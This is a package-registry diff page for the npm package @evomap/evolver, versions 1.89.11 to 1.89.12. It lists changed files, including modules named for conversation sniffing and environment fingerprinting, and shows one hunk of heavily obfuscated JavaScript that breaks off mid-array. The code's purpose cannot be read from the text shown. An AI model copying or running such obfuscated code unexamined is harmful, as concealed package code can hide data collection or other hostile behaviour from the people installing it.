@evomap/evolver 1.89.11 → 1.89.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (100) hide show
  1. package/.cursor/BUGBOT.md +182 -0
  2. package/.env.example +68 -0
  3. package/.git-commit-guard-token +1 -0
  4. package/.github/CODEOWNERS +63 -0
  5. package/.github/ISSUE_TEMPLATE/good_first_issue.md +23 -0
  6. package/.github/pull_request_template.md +45 -0
  7. package/.github/workflows/test.yml +75 -0
  8. package/CHANGELOG.md +1367 -0
  9. package/README.md +90 -537
  10. package/README.public.md +578 -0
  11. package/SECURITY.md +108 -0
  12. package/assets/gep/events.jsonl +3 -0
  13. package/examples/atp-consumer-quickstart.md +100 -0
  14. package/examples/hello-world.md +38 -0
  15. package/package.json +6 -18
  16. package/proxy-package.json +39 -0
  17. package/public.manifest.json +145 -0
  18. package/src/evolve/guards.js +721 -1
  19. package/src/evolve/pipeline/collect.js +1283 -1
  20. package/src/evolve/pipeline/dispatch.js +421 -1
  21. package/src/evolve/pipeline/enrich.js +440 -1
  22. package/src/evolve/pipeline/hub.js +319 -1
  23. package/src/evolve/pipeline/select.js +274 -1
  24. package/src/evolve/pipeline/signals.js +206 -1
  25. package/src/evolve/utils.js +264 -1
  26. package/src/evolve.js +350 -1
  27. package/src/gep/a2aProtocol.js +4463 -1
  28. package/src/gep/antiAbuseTelemetry.js +233 -1
  29. package/src/gep/autoDistillConv.js +205 -1
  30. package/src/gep/autoDistillLlm.js +315 -1
  31. package/src/gep/candidateEval.js +92 -1
  32. package/src/gep/candidates.js +198 -1
  33. package/src/gep/contentHash.js +30 -1
  34. package/src/gep/conversationDistiller.js +270 -0
  35. package/src/gep/conversationSniffer.js +266 -1
  36. package/src/gep/crypto.js +89 -1
  37. package/src/gep/curriculum.js +163 -1
  38. package/src/gep/deviceId.js +218 -1
  39. package/src/gep/envFingerprint.js +118 -1
  40. package/src/gep/epigenetics.js +31 -1
  41. package/src/gep/execBridge.js +712 -1
  42. package/src/gep/explore.js +289 -1
  43. package/src/gep/hash.js +15 -1
  44. package/src/gep/hubFetch.js +608 -1
  45. package/src/gep/hubReview.js +207 -1
  46. package/src/gep/hubSearch.js +526 -1
  47. package/src/gep/hubVerify.js +306 -1
  48. package/src/gep/learningSignals.js +89 -1
  49. package/src/gep/memoryGraph.js +1449 -1
  50. package/src/gep/memoryGraphAdapter.js +203 -1
  51. package/src/gep/mutation.js +203 -1
  52. package/src/gep/narrativeMemory.js +108 -1
  53. package/src/gep/openPRRegistry.js +205 -1
  54. package/src/gep/personality.js +423 -1
  55. package/src/gep/policyCheck.js +599 -1
  56. package/src/gep/prompt.js +836 -1
  57. package/src/gep/questionGenerator.js +103 -0
  58. package/src/gep/recallInject.js +409 -1
  59. package/src/gep/recallVerifier.js +318 -1
  60. package/src/gep/reflection.js +177 -1
  61. package/src/gep/savingsCore.js +112 -1
  62. package/src/gep/selector.js +602 -1
  63. package/src/gep/skillDistiller.js +1294 -1
  64. package/src/gep/solidify.js +1699 -1
  65. package/src/gep/strategy.js +136 -1
  66. package/src/gep/tokenSavings.js +95 -1
  67. package/src/gep/workspaceKeychain.js +174 -1
  68. package/src/proxy/extensions/traceControl.js +109 -1
  69. package/src/proxy/inject.js +52 -1
  70. package/src/proxy/lifecycle/manager.js +108 -7
  71. package/src/proxy/server/routes.js +31 -0
  72. package/src/proxy/server/settings.js +6 -2
  73. package/src/proxy/sync/engine.js +31 -15
  74. package/src/proxy/sync/inbound.js +87 -9
  75. package/src/proxy/sync/outbound.js +57 -4
  76. package/src/proxy/trace/extractor.js +1403 -1
  77. package/src/proxy/trace/usage.js +105 -1
  78. package/CONTRIBUTING.md +0 -19
  79. package/assets/cover.png +0 -0
  80. package/scripts/a2a_export.js +0 -63
  81. package/scripts/a2a_ingest.js +0 -79
  82. package/scripts/a2a_promote.js +0 -118
  83. package/scripts/analyze_by_skill.js +0 -121
  84. package/scripts/build_binaries.js +0 -479
  85. package/scripts/check-changelog.js +0 -166
  86. package/scripts/extract_log.js +0 -85
  87. package/scripts/generate_history.js +0 -75
  88. package/scripts/gep_append_event.js +0 -96
  89. package/scripts/gep_personality_report.js +0 -234
  90. package/scripts/human_report.js +0 -147
  91. package/scripts/recall-verify-report.js +0 -234
  92. package/scripts/recover_loop.js +0 -61
  93. package/scripts/refresh_stars_badge.js +0 -168
  94. package/scripts/seed-merchants.js +0 -91
  95. package/scripts/suggest_version.js +0 -89
  96. package/scripts/validate-modules.js +0 -38
  97. package/scripts/validate-suite.js +0 -78
  98. package/skills/index.json +0 -14
  99. /package/assets/gep/{genes.seed.json → genes.json} +0 -0
  100. /package/{skills → bundled-skills}/_meta/SKILL.md +0 -0
@@ -1 +1,109 @@
1
- const _0x398e1e=_0x3520;(function(_0x461ec5,_0x94ec55){const _0x218c34=_0x3520,_0x3b2f22=_0x461ec5();while(!![]){try{const _0x4e3565=-parseInt(_0x218c34(0x1f5,'\x4a\x44\x46\x30'))/(-0x1*0x3e1+0x3a5+-0x1*-0x3d)+parseInt(_0x218c34(0x1bf,'\x37\x26\x25\x6e'))/(0xf53+-0x1628+0x6d7)*(parseInt(_0x218c34(0xec,'\x4e\x77\x76\x23'))/(0x6*0xc5+0x2541+-0x29dc))+-parseInt(_0x218c34(0x164,'\x5a\x45\x25\x36'))/(0xdde+-0x141*0x15+0x2d*0x47)*(-parseInt(_0x218c34(0x1b8,'\x38\x6b\x36\x4f'))/(0x6a*-0x48+0xb75*-0x2+0x34bf))+parseInt(_0x218c34(0xdc,'\x41\x29\x30\x79'))/(0x143b+-0x26c8+0x1293)+-parseInt(_0x218c34(0x1d7,'\x5d\x5a\x41\x40'))/(0xa*-0x4f+-0x1*-0x2621+-0x2304)*(parseInt(_0x218c34(0x1da,'\x4a\x65\x45\x63'))/(0x4+-0x4*-0x11f+-0x478))+parseInt(_0x218c34(0x118,'\x39\x6d\x74\x45'))/(-0x19b9*0x1+-0x1a7c+0x6*0x8b5)+-parseInt(_0x218c34(0x177,'\x35\x63\x5a\x79'))/(0x1ace+0x13c+-0x1c00);if(_0x4e3565===_0x94ec55)break;else _0x3b2f22['push'](_0x3b2f22['shift']());}catch(_0x8a797e){_0x3b2f22['push'](_0x3b2f22['shift']());}}}(_0x296b,0xcf1*-0x54+-0x1*-0x5846+-0x1*-0x70f03));const _0x557fda=(function(){let _0x2b1796=!![];return function(_0x240ce8,_0x57af35){const _0x4605ee=_0x2b1796?function(){const _0x3467ba=_0x3520;if(_0x57af35){const _0x461c43=_0x57af35[_0x3467ba(0xdf,'\x4e\x79\x46\x56')](_0x240ce8,arguments);return _0x57af35=null,_0x461c43;}}:function(){};return _0x2b1796=![],_0x4605ee;};}()),_0x546a78=_0x557fda(this,function(){const _0x37560f=_0x3520,_0x1d0ed2={};_0x1d0ed2[_0x37560f(0x139,'\x57\x78\x68\x78')]=_0x37560f(0xf2,'\x72\x35\x47\x67')+_0x37560f(0x1e1,'\x6b\x43\x65\x5a');const _0x361cec=_0x1d0ed2;return _0x546a78['\x74\x6f\x53\x74\x72\x69\x6e\x67']()[_0x37560f(0x190,'\x57\x78\x68\x78')](_0x361cec[_0x37560f(0x1e6,'\x62\x29\x75\x29')])[_0x37560f(0x128,'\x77\x6f\x74\x5b')]()[_0x37560f(0xcb,'\x24\x34\x24\x5e')+_0x37560f(0xda,'\x77\x6f\x74\x5b')](_0x546a78)[_0x37560f(0x137,'\x77\x6f\x74\x5b')](_0x361cec[_0x37560f(0x10e,'\x55\x33\x26\x6c')]);});_0x546a78();'use strict';function _0x296b(){const _0x47921f=['\x6d\x6d\x6b\x6d\x70\x4b\x62\x69\x57\x35\x4f','\x57\x52\x37\x63\x4e\x31\x34\x32\x57\x34\x50\x50\x62\x38\x6f\x65\x57\x34\x42\x64\x50\x43\x6f\x42\x57\x34\x74\x64\x4b\x57','\x45\x43\x6f\x63\x57\x52\x56\x63\x4c\x5a\x6c\x63\x51\x4e\x54\x37','\x75\x4d\x34\x58\x57\x4f\x39\x41\x72\x4e\x70\x64\x4e\x71','\x57\x37\x31\x50\x57\x4f\x33\x63\x56\x59\x4f','\x6a\x6d\x6b\x79\x57\x51\x56\x63\x4e\x62\x37\x63\x4a\x33\x4c\x79','\x57\x51\x2f\x63\x56\x32\x7a\x30\x62\x61','\x6e\x59\x50\x6f\x57\x52\x38\x58\x57\x36\x66\x70','\x64\x53\x6b\x72\x57\x36\x58\x6b\x67\x63\x74\x64\x49\x59\x4f','\x44\x61\x38\x70\x57\x35\x53\x68\x65\x71','\x7a\x43\x6b\x6f\x57\x34\x6a\x42\x78\x32\x34','\x6a\x62\x42\x64\x53\x33\x48\x52\x45\x53\x6b\x43','\x57\x36\x6c\x63\x53\x38\x6b\x72\x6c\x53\x6f\x49','\x67\x53\x6f\x64\x57\x37\x44\x61\x61\x62\x4a\x64\x4d\x4e\x47','\x79\x61\x44\x58\x57\x51\x6d\x49','\x65\x67\x43\x4d\x57\x35\x69','\x6b\x73\x39\x58\x42\x58\x2f\x64\x4f\x78\x69\x43','\x57\x52\x37\x63\x50\x38\x6b\x4a\x43\x57','\x57\x34\x6c\x63\x56\x5a\x33\x64\x4d\x38\x6b\x35','\x57\x52\x4f\x72\x6c\x4d\x68\x63\x48\x74\x69\x68\x57\x35\x6d','\x57\x50\x74\x63\x4e\x43\x6b\x65\x62\x4e\x57','\x57\x50\x2f\x63\x4d\x6d\x6b\x66\x57\x36\x30','\x57\x37\x68\x64\x54\x66\x79\x6d\x65\x53\x6f\x57\x76\x53\x6b\x32','\x57\x34\x44\x55\x70\x6d\x6b\x56\x71\x53\x6f\x34\x57\x50\x2f\x63\x48\x57','\x57\x37\x78\x64\x48\x43\x6f\x51\x57\x36\x52\x63\x52\x65\x2f\x64\x47\x76\x34','\x68\x53\x6f\x66\x78\x71\x57','\x57\x52\x70\x63\x4e\x53\x6b\x57\x57\x52\x78\x64\x4d\x58\x4a\x63\x4c\x76\x37\x63\x53\x77\x7a\x46\x42\x6d\x6f\x4b','\x57\x34\x33\x64\x48\x32\x6d\x39\x6b\x43\x6f\x62\x79\x6d\x6b\x68','\x72\x43\x6b\x6d\x7a\x58\x4e\x64\x55\x38\x6f\x43\x57\x36\x57','\x57\x36\x4e\x64\x51\x4c\x4f\x63','\x57\x35\x42\x64\x4c\x32\x4b\x54\x65\x57','\x57\x52\x30\x6c\x6e\x62\x76\x30\x57\x34\x57','\x77\x59\x76\x2b\x74\x61\x4e\x64\x4a\x43\x6f\x37\x57\x34\x53','\x57\x36\x46\x63\x50\x38\x6b\x74\x61\x38\x6f\x4f','\x61\x72\x2f\x64\x55\x74\x2f\x64\x55\x61','\x57\x51\x79\x66\x69\x72\x57','\x57\x4f\x61\x61\x57\x35\x4b\x71\x6e\x31\x71\x53\x57\x34\x57','\x43\x71\x5a\x64\x48\x61\x56\x64\x55\x53\x6b\x4f\x6e\x59\x34','\x46\x38\x6b\x7a\x57\x37\x6a\x63\x78\x57','\x57\x35\x42\x64\x55\x31\x56\x63\x50\x6d\x6f\x55','\x62\x38\x6f\x6b\x70\x75\x2f\x63\x50\x53\x6b\x45\x57\x37\x30\x36\x62\x43\x6b\x63\x57\x52\x5a\x64\x48\x61','\x6b\x6d\x6b\x72\x6c\x65\x69','\x57\x34\x46\x64\x51\x6d\x6f\x43\x64\x78\x6d','\x57\x34\x6c\x64\x52\x75\x6d\x6c\x62\x38\x6f\x54\x78\x6d\x6b\x38','\x6b\x57\x74\x64\x4d\x61\x52\x64\x54\x61','\x76\x6d\x6b\x66\x6a\x6d\x6f\x51\x57\x36\x33\x64\x48\x66\x54\x71','\x65\x76\x39\x67\x70\x43\x6f\x59\x62\x66\x30\x42','\x64\x47\x50\x2b\x73\x4a\x57','\x79\x5a\x6c\x64\x4f\x38\x6b\x6b\x57\x51\x75','\x6a\x6d\x6f\x4d\x57\x35\x7a\x63\x65\x47','\x6e\x64\x50\x2b\x79\x57\x4a\x64\x4d\x33\x76\x74','\x6c\x4a\x48\x58\x46\x48\x4e\x64\x4c\x47','\x42\x43\x6b\x44\x57\x36\x44\x45\x42\x61','\x57\x51\x4a\x63\x55\x77\x62\x52','\x62\x38\x6b\x72\x57\x37\x4c\x77\x77\x74\x6c\x64\x47\x68\x4b','\x57\x51\x75\x6c\x67\x49\x66\x45\x57\x36\x33\x64\x4f\x43\x6b\x41','\x57\x4f\x4b\x57\x66\x31\x74\x63\x4f\x58\x75\x38\x57\x36\x65','\x57\x36\x5a\x64\x54\x43\x6f\x51\x62\x31\x61','\x57\x34\x5a\x63\x48\x64\x52\x64\x4f\x38\x6b\x41','\x76\x6d\x6b\x79\x6c\x6d\x6f\x32\x57\x36\x4b','\x72\x74\x2f\x63\x4f\x5a\x65\x66','\x45\x6d\x6f\x39\x69\x78\x6a\x69\x45\x78\x69\x55','\x69\x48\x56\x64\x48\x62\x78\x64\x53\x57','\x6b\x4e\x6a\x47\x77\x6d\x6f\x6d\x6b\x78\x6d\x35','\x6f\x6d\x6f\x49\x57\x36\x58\x5a\x68\x47','\x57\x37\x6c\x63\x48\x6d\x6b\x4a\x64\x6d\x6f\x62\x57\x51\x39\x79\x64\x61','\x73\x59\x4b\x35\x57\x52\x66\x4a','\x57\x35\x5a\x64\x4d\x43\x6b\x68\x57\x36\x44\x79\x57\x52\x4a\x64\x4e\x38\x6f\x52','\x61\x53\x6f\x65\x57\x37\x50\x4e\x63\x74\x6c\x64\x4a\x67\x79','\x44\x6d\x6f\x45\x57\x51\x37\x63\x4d\x63\x2f\x63\x50\x4e\x61','\x57\x52\x6d\x6b\x6c\x76\x6c\x63\x4a\x64\x71\x6d\x57\x34\x57','\x67\x48\x42\x64\x54\x57','\x57\x37\x64\x63\x4c\x47\x52\x64\x47\x53\x6b\x67','\x57\x34\x70\x64\x4a\x43\x6b\x62\x57\x37\x6e\x65\x57\x52\x4a\x64\x49\x53\x6f\x33','\x78\x38\x6b\x52\x66\x6d\x6f\x4f\x57\x37\x75','\x73\x4a\x35\x74\x57\x4f\x65\x37','\x57\x34\x48\x51\x57\x50\x42\x63\x50\x48\x30','\x62\x38\x6b\x70\x6c\x6d\x6f\x51\x57\x36\x52\x64\x4d\x75\x4b\x63','\x6d\x64\x33\x64\x4e\x76\x62\x42','\x77\x66\x6a\x6e\x46\x6d\x6f\x2f\x65\x30\x38\x45','\x7a\x6d\x6b\x79\x57\x37\x39\x56\x73\x4d\x6c\x63\x49\x74\x65','\x64\x47\x74\x64\x4a\x48\x37\x63\x54\x53\x6b\x52\x6a\x4a\x75','\x43\x74\x50\x6d\x57\x51\x69\x69\x57\x36\x6e\x39\x57\x37\x71','\x79\x72\x75\x62\x57\x4f\x71','\x62\x63\x70\x64\x4a\x74\x31\x30','\x42\x43\x6b\x6f\x57\x37\x48\x5a\x76\x78\x4e\x63\x4a\x74\x71','\x57\x34\x70\x63\x4f\x6d\x6b\x6e\x69\x53\x6f\x4c\x57\x51\x62\x56\x6c\x71','\x76\x73\x52\x63\x4f\x49\x57\x6f\x6e\x53\x6b\x56\x6f\x47','\x57\x36\x52\x64\x4b\x6d\x6b\x67\x57\x36\x48\x31','\x70\x53\x6b\x6d\x6e\x4b\x54\x69\x57\x34\x4b\x4c','\x65\x77\x30\x6e\x57\x35\x34','\x57\x4f\x6c\x63\x4a\x43\x6f\x44\x57\x52\x53\x6e\x57\x35\x2f\x63\x49\x38\x6f\x75\x57\x52\x4c\x2f\x57\x50\x64\x63\x50\x74\x53','\x6b\x38\x6b\x57\x57\x51\x66\x69\x41\x78\x47\x46\x57\x37\x4f','\x6b\x73\x39\x58\x42\x58\x2f\x64\x4f\x77\x65\x62','\x57\x37\x5a\x64\x51\x65\x6d\x64\x64\x38\x6f\x38\x78\x71','\x61\x38\x6b\x57\x57\x52\x58\x42\x42\x57','\x57\x36\x74\x63\x51\x43\x6b\x59\x67\x53\x6f\x67\x57\x50\x58\x7a\x67\x47','\x57\x35\x52\x64\x48\x38\x6f\x59\x69\x30\x34','\x78\x4e\x37\x63\x4c\x57\x66\x78\x77\x4e\x4e\x64\x4a\x53\x6f\x58','\x57\x37\x4c\x70\x67\x6d\x6b\x48\x79\x47','\x57\x35\x31\x71\x62\x38\x6f\x78\x76\x47','\x44\x61\x5a\x64\x48\x53\x6b\x39\x57\x52\x64\x64\x55\x6d\x6f\x77\x57\x52\x57','\x57\x37\x68\x64\x53\x76\x34\x67\x65\x47','\x63\x33\x4b\x66\x57\x35\x50\x75\x78\x6d\x6f\x6f\x73\x61','\x77\x43\x6b\x78\x7a\x72\x70\x64\x51\x47','\x57\x50\x33\x63\x4f\x53\x6b\x7a\x64\x66\x68\x63\x56\x6d\x6f\x6d\x57\x52\x43','\x57\x52\x61\x41\x6e\x4e\x34','\x6a\x62\x64\x64\x53\x4e\x44\x56\x46\x38\x6b\x45\x57\x36\x6d','\x6d\x33\x34\x66\x46\x57\x43','\x66\x4c\x76\x6b\x45\x53\x6f\x6d\x67\x76\x75\x71','\x57\x50\x70\x63\x56\x6d\x6b\x44\x65\x4c\x46\x63\x54\x43\x6f\x31','\x62\x65\x30\x54\x76\x5a\x65\x4a\x57\x51\x58\x4a','\x6d\x65\x47\x37\x57\x50\x2f\x64\x47\x53\x6f\x47\x74\x57\x6d','\x57\x36\x31\x76\x57\x52\x68\x63\x55\x61\x57','\x76\x53\x6f\x6e\x77\x73\x74\x64\x4e\x74\x69','\x57\x36\x68\x63\x4f\x47\x70\x64\x4f\x38\x6b\x62','\x61\x30\x69\x75\x57\x37\x70\x64\x4f\x47','\x72\x49\x74\x63\x4f\x63\x38','\x57\x34\x70\x64\x4a\x43\x6b\x62\x57\x36\x48\x79\x57\x50\x74\x64\x4a\x71','\x45\x38\x6f\x70\x57\x52\x5a\x63\x4d\x63\x70\x63\x50\x57','\x46\x43\x6b\x32\x57\x51\x4e\x63\x4c\x72\x38\x42\x57\x36\x6d','\x43\x53\x6f\x39\x57\x52\x46\x63\x4b\x59\x4a\x63\x4f\x4d\x62\x47','\x57\x35\x54\x74\x57\x4f\x6a\x61\x41\x30\x75\x54\x57\x36\x33\x64\x53\x31\x61\x68\x57\x4f\x38','\x64\x72\x68\x64\x4c\x74\x66\x2f\x71\x75\x4e\x64\x50\x71','\x57\x36\x2f\x64\x4c\x43\x6f\x71\x70\x76\x61','\x57\x52\x53\x56\x66\x6d\x6f\x43\x45\x32\x53\x58\x64\x47','\x57\x36\x58\x53\x69\x6d\x6b\x47','\x57\x36\x2f\x63\x4d\x6d\x6b\x4c','\x57\x35\x42\x64\x4f\x6d\x6b\x70\x57\x36\x44\x41\x57\x4f\x4a\x64\x4a\x6d\x6f\x53','\x70\x53\x6f\x58\x75\x49\x5a\x63\x49\x71','\x57\x36\x58\x65\x57\x52\x74\x63\x52\x57\x52\x64\x4d\x68\x7a\x4c','\x57\x35\x7a\x32\x57\x51\x4a\x63\x4f\x63\x75','\x45\x4b\x42\x63\x47\x65\x6d','\x6d\x4a\x6e\x4b\x46\x48\x78\x64\x4b\x4b\x58\x74','\x57\x4f\x72\x39\x57\x52\x68\x64\x4a\x61','\x45\x53\x6b\x69\x57\x36\x39\x7a\x78\x67\x34','\x76\x77\x47\x2f\x57\x50\x35\x41','\x78\x64\x78\x64\x4d\x53\x6b\x2b\x57\x52\x4f','\x57\x36\x2f\x64\x55\x76\x61\x6b\x6f\x43\x6f\x58\x74\x6d\x6b\x36','\x57\x52\x64\x63\x48\x6d\x6b\x74\x7a\x32\x30','\x6a\x71\x46\x64\x48\x47','\x57\x50\x5a\x63\x4c\x53\x6b\x6c\x57\x36\x31\x54','\x57\x37\x66\x58\x6a\x38\x6f\x49\x78\x53\x6f\x4a\x57\x50\x70\x63\x56\x47','\x57\x34\x62\x66\x57\x34\x78\x64\x47\x6d\x6b\x6d\x57\x50\x56\x63\x50\x43\x6b\x79\x63\x57\x46\x63\x4a\x38\x6f\x75\x73\x47','\x61\x78\x43\x37\x57\x4f\x46\x64\x4f\x57','\x62\x6d\x6f\x58\x6c\x6d\x6b\x51\x7a\x78\x2f\x64\x4c\x38\x6f\x56','\x7a\x49\x53\x63\x57\x50\x6d\x33\x57\x34\x66\x76\x57\x50\x75','\x57\x37\x31\x73\x67\x43\x6b\x68\x72\x57','\x74\x73\x46\x64\x48\x6d\x6b\x50\x57\x52\x68\x64\x53\x43\x6b\x73\x57\x52\x57','\x57\x51\x42\x63\x48\x53\x6b\x57\x61\x6d\x6f\x63\x57\x50\x4c\x43\x68\x61','\x43\x6d\x6f\x39\x67\x30\x7a\x6f\x42\x57','\x57\x36\x31\x57\x6f\x53\x6b\x4b\x73\x43\x6f\x2f\x57\x50\x4e\x63\x56\x61','\x57\x52\x70\x63\x53\x38\x6b\x54\x7a\x57\x6e\x65\x73\x33\x2f\x64\x53\x43\x6b\x6e\x43\x53\x6f\x78','\x57\x51\x2f\x63\x50\x38\x6b\x39\x42\x4d\x65','\x63\x62\x5a\x64\x53\x5a\x38','\x46\x53\x6b\x32\x73\x74\x5a\x64\x49\x61','\x70\x67\x4b\x33\x57\x37\x4a\x64\x48\x38\x6b\x39\x61\x53\x6b\x65','\x7a\x43\x6f\x45\x57\x52\x6c\x63\x4a\x71','\x57\x52\x61\x75\x69\x58\x35\x34\x57\x35\x56\x64\x53\x71','\x57\x36\x54\x37\x70\x43\x6b\x45\x77\x53\x6f\x57\x57\x4f\x4a\x63\x56\x71','\x74\x6d\x6b\x6e\x79\x71\x4b','\x57\x4f\x70\x63\x51\x4e\x30','\x6c\x38\x6f\x33\x6d\x43\x6b\x4f\x79\x32\x4e\x63\x49\x71','\x79\x64\x4c\x52\x78\x71\x70\x64\x4f\x53\x6f\x6a\x57\x4f\x75','\x57\x51\x38\x67\x70\x32\x47','\x68\x67\x71\x6b\x57\x34\x50\x66\x43\x43\x6f\x79\x72\x61','\x57\x35\x5a\x64\x48\x43\x6f\x55\x57\x36\x78\x63\x50\x71','\x57\x4f\x46\x63\x55\x6d\x6b\x6c\x72\x47','\x62\x53\x6f\x44\x57\x37\x31\x42\x64\x73\x37\x64\x47\x77\x71','\x57\x4f\x6e\x4a\x57\x51\x46\x64\x4b\x4a\x46\x63\x4a\x4c\x6a\x58','\x66\x43\x6f\x39\x67\x53\x6b\x4c\x46\x57','\x68\x77\x6e\x42\x7a\x6d\x6f\x58','\x57\x37\x6a\x6e\x57\x52\x56\x63\x51\x72\x33\x64\x48\x78\x58\x56','\x45\x6d\x6b\x4e\x62\x53\x6f\x44\x57\x51\x5a\x64\x4e\x31\x57\x63','\x57\x37\x78\x64\x4d\x58\x35\x6e\x57\x50\x43','\x57\x51\x4a\x63\x55\x77\x48\x4c\x62\x68\x2f\x63\x4c\x57\x34','\x6d\x6d\x6b\x6d\x70\x47','\x57\x50\x5a\x63\x52\x43\x6b\x70\x65\x4c\x56\x63\x54\x61','\x71\x59\x50\x34\x75\x61','\x63\x43\x6f\x64\x57\x36\x66\x69\x64\x73\x47','\x67\x47\x68\x64\x52\x47','\x57\x34\x72\x6f\x6c\x38\x6f\x6f\x73\x61','\x62\x33\x33\x64\x55\x4e\x6e\x74\x42\x38\x6f\x30\x6d\x43\x6f\x77\x57\x37\x70\x64\x4e\x4c\x79\x4b','\x57\x52\x46\x63\x50\x4d\x66\x2f\x63\x61','\x6a\x72\x33\x64\x47\x47\x4f','\x44\x6d\x6f\x45\x57\x51\x37\x63\x4d\x64\x38','\x57\x36\x37\x64\x52\x66\x57\x44\x61\x57','\x74\x49\x4b\x50\x57\x52\x7a\x49\x43\x4d\x5a\x63\x54\x61','\x45\x43\x6f\x36\x57\x51\x5a\x63\x4c\x73\x78\x63\x50\x4c\x44\x36','\x57\x34\x37\x64\x4a\x78\x64\x63\x4f\x38\x6f\x70','\x71\x64\x4c\x52\x78\x71\x70\x64\x56\x53\x6f\x66\x57\x4f\x71','\x57\x51\x38\x6e\x6c\x4d\x37\x63\x4d\x72\x34\x67\x57\x35\x75','\x62\x6d\x6f\x78\x57\x37\x66\x46\x6a\x4a\x74\x64\x48\x32\x30','\x57\x35\x2f\x64\x4b\x6d\x6b\x6a\x57\x36\x58\x79\x57\x50\x75','\x57\x51\x5a\x63\x55\x32\x76\x2f\x63\x65\x37\x63\x4b\x30\x65','\x44\x53\x6f\x34\x6c\x75\x66\x6f\x73\x78\x30\x4d','\x57\x50\x71\x71\x57\x4f\x46\x63\x4d\x43\x6f\x71\x57\x34\x78\x64\x47\x53\x6b\x78','\x57\x50\x42\x63\x52\x43\x6b\x30\x7a\x61','\x73\x71\x4f\x76\x6c\x43\x6b\x4d\x65\x65\x38\x77\x71\x6d\x6b\x63\x69\x61','\x61\x4a\x7a\x31\x44\x71','\x63\x6d\x6b\x52\x69\x77\x58\x76','\x57\x37\x39\x63\x57\x52\x56\x63\x4c\x71\x52\x64\x47\x33\x39\x54','\x79\x38\x6b\x64\x57\x36\x4c\x63\x76\x78\x56\x63\x54\x4e\x30','\x6d\x43\x6b\x31\x57\x51\x37\x63\x55\x61\x34','\x57\x37\x6e\x78\x7a\x59\x70\x64\x4c\x32\x48\x66\x57\x4f\x4b','\x67\x4c\x6a\x71\x45\x6d\x6b\x4c\x78\x47','\x63\x59\x6c\x64\x4a\x62\x4a\x64\x4c\x61','\x57\x34\x64\x64\x49\x38\x6b\x62\x57\x37\x4c\x79','\x71\x31\x61\x61\x57\x51\x7a\x77','\x57\x36\x68\x64\x52\x43\x6f\x47\x57\x37\x74\x63\x56\x61','\x67\x64\x44\x75\x76\x64\x6d','\x71\x68\x30\x38\x57\x50\x39\x41','\x46\x5a\x64\x64\x51\x43\x6b\x4a\x57\x52\x46\x64\x52\x43\x6b\x65\x57\x37\x38','\x57\x37\x6c\x64\x56\x4c\x4f\x64\x61\x38\x6f\x67\x77\x6d\x6b\x32','\x6f\x6d\x6b\x72\x57\x52\x76\x4d\x77\x71','\x6e\x38\x6b\x42\x57\x4f\x6e\x38\x73\x66\x66\x37\x57\x35\x4f','\x44\x5a\x31\x6e\x57\x52\x4f','\x79\x48\x4e\x63\x4a\x71\x61\x4c\x61\x6d\x6b\x65\x64\x47','\x79\x73\x35\x72\x57\x52\x6e\x78\x57\x52\x4f','\x57\x36\x52\x64\x54\x38\x6f\x36\x63\x4b\x4f\x61\x43\x76\x47','\x75\x73\x76\x52\x78\x61\x52\x64\x48\x6d\x6f\x63','\x57\x36\x6a\x46\x6c\x6d\x6f\x76\x73\x61','\x57\x37\x78\x63\x47\x53\x6b\x54\x68\x43\x6f\x62','\x57\x51\x4e\x63\x55\x6d\x6b\x46\x68\x31\x33\x63\x54\x43\x6b\x38\x57\x37\x71','\x6c\x78\x71\x66\x46\x72\x75\x62','\x68\x53\x6f\x64\x57\x37\x4c\x42\x68\x62\x4a\x64\x48\x4e\x38','\x57\x34\x6a\x36\x57\x52\x64\x64\x4b\x4a\x46\x63\x4d\x4d\x6e\x58','\x65\x32\x71\x64\x57\x35\x35\x75\x43\x71','\x57\x37\x72\x59\x6c\x6d\x6b\x55\x77\x53\x6f\x34\x57\x50\x70\x63\x54\x47','\x69\x6d\x6b\x39\x57\x51\x42\x63\x4b\x64\x4f\x71\x57\x35\x68\x63\x4e\x57','\x57\x4f\x70\x63\x52\x4d\x44\x4e\x61\x30\x5a\x63\x4b\x71\x75','\x57\x37\x4c\x54\x64\x53\x6f\x67\x72\x47','\x57\x52\x53\x76\x57\x50\x2f\x63\x48\x53\x6f\x78','\x6c\x38\x6b\x48\x57\x51\x52\x63\x4b\x71','\x79\x6d\x6b\x6b\x63\x38\x6f\x56\x57\x34\x79','\x57\x51\x4a\x63\x4c\x38\x6b\x61\x43\x75\x47','\x57\x50\x56\x63\x48\x43\x6b\x69\x57\x36\x6a\x54\x57\x52\x54\x37\x75\x47','\x79\x6d\x6f\x70\x57\x4f\x56\x63\x54\x4a\x65','\x57\x36\x68\x64\x52\x43\x6f\x32\x6d\x31\x6d\x73\x6d\x30\x61','\x57\x4f\x37\x63\x4d\x38\x6b\x71\x57\x37\x6a\x48\x57\x50\x44\x68\x77\x61','\x42\x43\x6f\x41\x42\x58\x43\x79\x57\x35\x69\x34\x43\x57\x39\x79\x57\x35\x79','\x64\x30\x57\x38\x57\x52\x2f\x64\x47\x61','\x57\x51\x38\x78\x57\x36\x52\x64\x56\x4c\x52\x63\x4d\x49\x62\x34\x57\x37\x43\x43\x6e\x6d\x6f\x42\x57\x34\x75','\x57\x50\x47\x71\x57\x51\x5a\x63\x4d\x38\x6f\x41\x57\x35\x69','\x79\x38\x6f\x79\x73\x73\x4e\x64\x4d\x5a\x70\x63\x4c\x77\x4b','\x57\x36\x58\x69\x63\x6d\x6f\x6d\x79\x71','\x68\x4d\x47\x70','\x64\x47\x5a\x64\x48\x61\x4e\x64\x53\x6d\x6b\x4b\x6d\x57','\x57\x4f\x31\x31\x57\x52\x5a\x64\x50\x48\x38','\x46\x38\x6b\x65\x57\x37\x50\x45\x77\x32\x70\x63\x4e\x49\x38','\x63\x6d\x6b\x4c\x69\x32\x6a\x47','\x42\x31\x38\x70\x57\x51\x44\x36\x71\x61','\x6c\x64\x35\x51\x79\x5a\x30','\x57\x35\x58\x34\x6a\x6d\x6f\x64\x41\x61','\x67\x75\x6e\x74\x43\x43\x6f\x36\x64\x31\x47','\x57\x36\x5a\x63\x4d\x59\x4a\x64\x4a\x43\x6b\x74\x6f\x61','\x57\x52\x47\x32\x70\x48\x66\x63','\x57\x52\x61\x56\x63\x4c\x33\x63\x4c\x71','\x67\x47\x68\x64\x4a\x59\x42\x64\x4a\x38\x6f\x41\x57\x51\x46\x63\x48\x57','\x75\x38\x6b\x45\x69\x53\x6f\x4e\x57\x36\x4e\x64\x52\x31\x35\x71','\x43\x53\x6f\x79\x41\x47\x